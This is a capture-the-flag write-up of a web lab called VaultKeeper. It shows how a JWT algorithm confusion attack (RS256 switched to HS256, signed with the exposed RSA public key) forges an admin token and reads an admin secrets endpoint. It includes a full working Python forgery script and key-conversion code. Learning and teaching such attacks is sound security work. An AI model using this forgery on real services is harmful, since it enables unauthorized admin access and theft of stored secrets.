Lab 350 — VaultKeeper
Lab 350 — VaultKeeper
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_identification, hmac_with_public_key, jwk_to_pem_conversion, jwt_algorithm_confusion, role_based_access_control_bypass
Summary
Task: VaultKeeper enterprise secrets management platform uses RS256 JWT authentication with exposed public key. Solution: JWT Algorithm Confusion attack (CVE-2016-10555) — changed alg from RS256 to HS256 and signed with the RSA public key as HMAC secret to forge admin token.
Lab 350 — VaultKeeper — Hackadvisor
Description
VaultKeeper is an enterprise secrets management platform by Aegis Security Corp. Authentication is handled via JWT tokens signed with RSA-256. Goal is to escalate privileges and access the admin-only secrets vault.
Enterprise secrets management platform with JWT-based authentication. Users authenticate via POST /login and receive a JWT cookie (vk_session) signed with RS256. The goal is to escalate from a regular user to admin and access the secrets vault at /api/admin/secrets.
Analysis
Initial Reconnaissance
- Login: POST /login with test credentials
user@test.com/password123returns a JWT cookie namedvk_session - JWT Structure: The token uses RS256 algorithm with a
role: "user"claim in the payload - Public Key Exposure: The RSA public key is available at
/.well-known/jwks.json(also linked from the homepage)
JWT Token Analysis
Decoded JWT header:
json read-only • copy allowed{"alg": "RS256", "typ": "JWT"}
Decoded JWT payload:
json read-only • copy allowed{ "sub": "86cf3cf2-058f-4aa2-bc6f-43172baf4c35", "email": "user@test.com", "role": "user", "name": "Alex Chen", "iat": 1777960693, "exp": 1878047093 }
Decoy Flags
The application embeds decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in HTML comments on every page to trick automated scanners. These are not the real flag.
Admin Endpoints Discovered
/api/admin/secrets— returns stored secrets (contains the flag)/api/admin/users— user management/api/admin/audit— audit logs
Vulnerability: JWT Algorithm Confusion (CVE-2016-10555)
The server-side JWT library accepts both RS256 and HS256 algorithms. When verifying RS256 tokens, the server uses the RSA public key. If we switch the algorithm to HS256, the server will use the same public key as the HMAC secret — and since we have the public key, we can forge valid tokens.
Solution
Step 1: Obtain the RSA Public Key
Fetch the JWK from /.well-known/jwks.json:
bash read-only • copy allowedcurl -s https://TARGET/.well-known/jwks.json | jq .
JWK parameters:
n:qPmJ5qT86i9C-NN8dbLOJoDApzGQARAkMPF5hHOzbyW87pAGpQZzBHOxAGkq8tRaoae5oySPxk8sGACIjL-SDcokcw-wCua9_DcqEvSMqIbwmQZT0X8yrWd8TBQJAhL5XjKBeSTkCiOTF26dTfvi1Q8TvCJUIaoeSXbW5qD6Mgib-pe9-WVrusvT0dSk9gTvxs2sPL1OekP5j230DKeVmb8VLcijJx3ZGF11rAt4qS1esKlywhBPRHW-THEO77irSy-CWzmhkSqePn-ONfh7FTDLjmj2w0nsRSa3076ZLLx-LXW7-ibnhLxz2ziovES2yqQCyoqq8scBFIwkmDRMTQe:AQAB
Step 2: Convert JWK to PEM Format
Convert the JWK RSA public key to PEM format using DER encoding:
python read-only • copy alloweddef jwk_to_pem(n_b64, e_b64): """Convert JWK RSA public key to PEM format""" n_bytes = b64url_decode(n_b64) e_bytes = b64url_decode(e_b64) # Encode as DER SubjectPublicKeyInfo n_der = encode_der_integer(n_bytes) e_der = encode_der_integer(e_bytes) rsa_key_content = n_der + e_der rsa_key_seq = b'\x30' + encode_der_length(len(rsa_key_content)) + rsa_key_content bit_string_content = b'\x00' + rsa_key_seq bit_string = b'\x03' + encode_der_length(len(bit_string_content)) + bit_string_content algorithm_oid = b'\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00' spki_content = algorithm_oid + bit_string spki = b'\x30' + encode_der_length(len(spki_content)) + spki_content b64_encoded = base64.b64encode(spki).decode() pem_lines = ['-----BEGIN PUBLIC KEY-----'] for i in range(0, len(b64_encoded), 64): pem_lines.append(b64_encoded[i:i+64]) pem_lines.append('-----END PUBLIC KEY-----') return '\n'.join(pem_lines)
Step 3: Forge Admin JWT with Algorithm Confusion
python read-only • copy allowed#!/usr/bin/env python3 """ JWT Algorithm Confusion Attack: RS256 -> HS256 Forge admin JWT using RSA public key as HMAC secret. """ import base64, hmac, hashlib, json, requests import urllib3 urllib3.disable_warnings() URL = "https://TARGET.labs.hackadvisor.io" with open('pubkey.pem', 'r') as f: pem_key = f.read() # CRITICAL: PEM stripped + trailing newline as HMAC secret secret = pem_key.strip() + '\n' header = {"alg": "HS256", "typ": "JWT"} payload = { "sub": "86cf3cf2-058f-4aa2-bc6f-43172baf4c35", "email": "user@test.com", "role": "admin", # Changed from "user" to "admin" "name": "Alex Chen", "iat": 1777960693, "exp": 1878047093 } def b64url_encode(data): if isinstance(data, str): data = data.encode() return base64.urlsafe_b64encode(data).rstrip(b'=').decode() header_b64 = b64url_encode(json.dumps(header, separators=(',', ':'))) payload_b64 = b64url_encode(json.dumps(payload, separators=(',', ':'))) message = f"{header_b64}.{payload_b64}".encode() signature = hmac.new(secret.encode(), message, hashlib.sha256).digest() signature_b64 = b64url_encode(signature) token = f"{header_b64}.{payload_b64}.{signature_b64}" # Access admin secrets with forged token resp = requests.get(f"{URL}/api/admin/secrets", cookies={"vk_session": token}, verify=False) print(json.dumps(resp.json(), indent=2))
Step 4: Retrieve the Flag
The forged admin token was accepted by the server. Accessing /api/admin/secrets returned the stored secrets, including PLATFORM_MASTER_KEY which contained the flag.
Key Detail: HMAC Secret Format
Multiple key format variations were tested:
- PEM with trailing newline — did not work
- PEM stripped (no trailing whitespace) — did not work
- PEM stripped + single trailing newline (
\n) — worked! - PEM body only (no headers) — did not work
- Raw DER bytes — did not work
alg: noneattacks — did not work
The correct format was the PEM key with whitespace stripped, then a single trailing newline character appended.